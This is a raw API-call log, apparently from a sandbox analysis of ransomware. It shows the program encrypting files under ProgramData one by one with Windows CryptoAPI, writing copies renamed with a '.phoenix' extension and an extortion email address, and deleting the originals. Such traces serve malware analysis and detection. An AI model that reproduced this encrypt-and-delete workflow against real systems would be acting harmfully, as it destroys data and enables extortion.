	[0242.315] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0) returned 1
	[0242.315] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4d0, lpOverlapped=0x0) returned 1
	[0242.316] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0242.316] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.316] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0242.316] CryptDestroyKey (hKey=0x151040) returned 1
	[0242.316] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0242.316] CryptDestroyKey (hKey=0x151640) returned 1
	[0242.316] CloseHandle (hObject=0x2cc) returned 1
	[0242.316] CloseHandle (hObject=0x2d8) returned 1
	[0242.316] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{E14796D4-F769-4AA4-85DC-E9FFE52AEEB4}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e14796d4-f769-4aa4-85dc-e9ffe52aeeb4}.2.ver0x0000000000000001.db")) returned 1
	[0242.317] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.317] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.319] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3223) returned 1
	[0242.319] CloseHandle (hObject=0x2d8) returned 1
	[0242.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml")) returned 0x20
	[0242.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.319] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.319] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.407] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0242.407] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.407] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc97, lpOverlapped=0x0) returned 1
	[0242.450] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0, dwBufLen=0xca0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0) returned 1
	[0242.450] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xca0, lpOverlapped=0x0) returned 1
	[0242.451] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0242.451] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.451] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0242.451] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0242.451] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0242.452] CryptDestroyKey (hKey=0x151100) returned 1
	[0242.452] CloseHandle (hObject=0x2d8) returned 1
	[0242.452] CloseHandle (hObject=0x2d0) returned 1
	[0242.452] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml")) returned 1
	[0242.453] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.453] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.453] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3201) returned 1
	[0242.453] CloseHandle (hObject=0x2d0) returned 1
	[0242.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml")) returned 0x20
	[0242.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.492] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.492] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.492] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0242.493] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.493] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc81, lpOverlapped=0x0) returned 1
	[0242.556] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90, dwBufLen=0xc90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90) returned 1
	[0242.556] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc90, lpOverlapped=0x0) returned 1
	[0242.557] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0242.557] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.557] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0242.557] CryptDestroyKey (hKey=0x151500) returned 1
	[0242.557] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0242.557] CryptDestroyKey (hKey=0x151140) returned 1
	[0242.557] CloseHandle (hObject=0x2d0) returned 1
	[0242.557] CloseHandle (hObject=0x2d8) returned 1
	[0242.557] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0890ad2f-b74f-c384-f684-9c33f8f67924.xml")) returned 1
	[0242.558] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.558] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.559] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2777) returned 1
	[0242.559] CloseHandle (hObject=0x2d8) returned 1
	[0242.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml")) returned 0x20
	[0242.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.559] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.559] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.559] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.559] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.559] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1514c0) returned 1
	[0242.559] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.559] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xad9, lpOverlapped=0x0) returned 1
	[0242.735] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xae0, dwBufLen=0xae0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xae0) returned 1
	[0242.736] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xae0, lpOverlapped=0x0) returned 1
	[0242.737] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0242.737] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.737] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0242.737] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0242.737] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0242.737] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0242.737] CloseHandle (hObject=0x2d8) returned 1
	[0242.737] CloseHandle (hObject=0x2d0) returned 1
	[0242.737] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0cb4ef12-226b-0a51-6930-2dbfb63f3e7d.xml")) returned 1
	[0242.738] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.738] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.738] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3544) returned 1
	[0242.738] CloseHandle (hObject=0x2d0) returned 1
	[0242.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml")) returned 0x20
	[0242.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.739] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.739] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.739] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.739] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.739] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0242.739] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.739] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdd8, lpOverlapped=0x0) returned 1
	[0242.786] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xde0, dwBufLen=0xde0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xde0) returned 1
	[0242.786] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xde0, lpOverlapped=0x0) returned 1
	[0242.787] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0242.787] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.787] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0242.787] CryptDestroyKey (hKey=0x151380) returned 1
	[0242.787] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0242.787] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0242.788] CloseHandle (hObject=0x2d0) returned 1
	[0242.788] CloseHandle (hObject=0x2d8) returned 1
	[0242.788] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml")) returned 1
	[0242.789] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.789] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.789] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3190) returned 1
	[0242.789] CloseHandle (hObject=0x2d8) returned 1
	[0242.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml")) returned 0x20
	[0242.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.790] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.790] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.790] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0242.790] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.790] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc76, lpOverlapped=0x0) returned 1
